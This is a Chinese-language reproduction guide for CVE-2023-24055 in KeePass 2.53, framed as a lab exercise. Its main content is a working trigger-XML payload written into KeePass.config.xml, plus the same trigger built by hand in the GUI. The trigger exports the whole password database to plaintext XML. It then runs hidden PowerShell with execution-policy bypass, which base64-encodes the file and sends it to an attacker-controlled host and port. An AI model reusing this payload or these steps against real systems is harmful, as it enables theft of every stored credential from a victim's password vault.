一、漏洞描述 {#一、漏洞描述}
漏洞简述 {#漏洞简述}
KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。 对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。
漏洞影响范围 {#漏洞影响范围}
供应商: KeePass 产品: KeePass Password Safe 2 确认受影响版本: KeePass 2.53版本 修复版本: KeePass 2.53.1版本
二、漏洞复现实战 {#二、漏洞复现实战}
环境搭建 {#环境搭建}
KeePass数据库下载链接 1、右键单击以管理身份运行,注意默认安装只有英文,需要自己下载汉化包 汉化包下载 下载完之后汉化包自行解压 2、安装数据库 3、导入汉化包 将下载的汉化包拖进去选择中文,重启生效 4、新建数据库,默认命名为数据库.kdbx 5、设置管理密码,随便设置个 6、设置用户名,这里我设置的admin123,数据库名称可先不写
漏洞复现 {#漏洞复现}
复现攻击 {#复现攻击}
用POC修改配置文件 {#用POC修改配置文件}
1、创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两步骤: (1)POC写入配置文件
将编写好的POC代码写入KeePass.config.xml(配置文件),须符合触发器XML格式。(将poc中数据库的导出路径和攻击者的接收路径更改一下后,直接覆盖原KeePass.config.xml配置文件位置(数据库安装目录)即可)
小建议如下图:复现之前先将相关参数用记事本写下,方便利用 需要修改三处 POC编写代码如下 利用powershell以GET方式传输数据库中密码文件。
<TriggerSystem>
<Triggers>
<Trigger>
<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
<Name>exploit</Name>
<Events>
<Event>
<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
<Parameters>
<Parameter>0</Parameter>
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
<Parameters>
<Parameter>c:\Users\你自己本地的路径数字\AppData\Local\Temp\exploit.xml</Parameter>
<Parameter>KeePass XML (2.x)</Parameter>
<Parameter />
<Parameter />
</Parameters>
</Action>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999(kali的本机地址和监听端口,可用ifconfig查看)/$var -Method GET </Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
</Triggers>
</TriggerSystem>
保存KeePass.config.xml文件,触发器功能查看exploit触发器
手工创建触发器 {#手工创建触发器}
点击工具------触发器 点击添加 1、属性项:命名为exploit,其余默认配置 2、事件项:选择"已保存数据库文件(Saved database file)",判断条件选"相等(Equals)" 点击完成,添加成功 3、动作项: (1)导出当前数据库
文件路径为明文传输路径
C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml
文件格式选择 KeePass XML (2.x) 对应配置文件位置
<Parameter>C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml</Parameter>
(2)执行命令行/URL 文件路径为PowerShell.exe,使触发器执行PowerShell
参数选择攻击接收的路径
窗口方式选择隐藏(Hidden)
对应配置文件
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999(kali的本机地址和监听端口,可用ifconfig查看)/$var -Method GET </Parameter>
全部添加完之后如图显示: 点击完成,登录攻击机。
攻击复现 {#攻击复现}
打开攻击机(我用的kali),开启web服务,监听对应的9999端口,用于接收传输后的密码明文: 回到数据库靶机,右键添加记录 标题任意,点击确定,然后Ctrl+S保存,会提示输入密码,直接输入就行了 然后我们接着去我们kali攻击机看,发现有base64数据显示 base64加解密 解码后可以看到相关信息 在靶机的C:\Users\本地路径对应数字\AppData\Local\Temp目录中也可看到poc生成的数据库备份文件: 至此我们的CVE-2023-24055漏洞复现全部结束!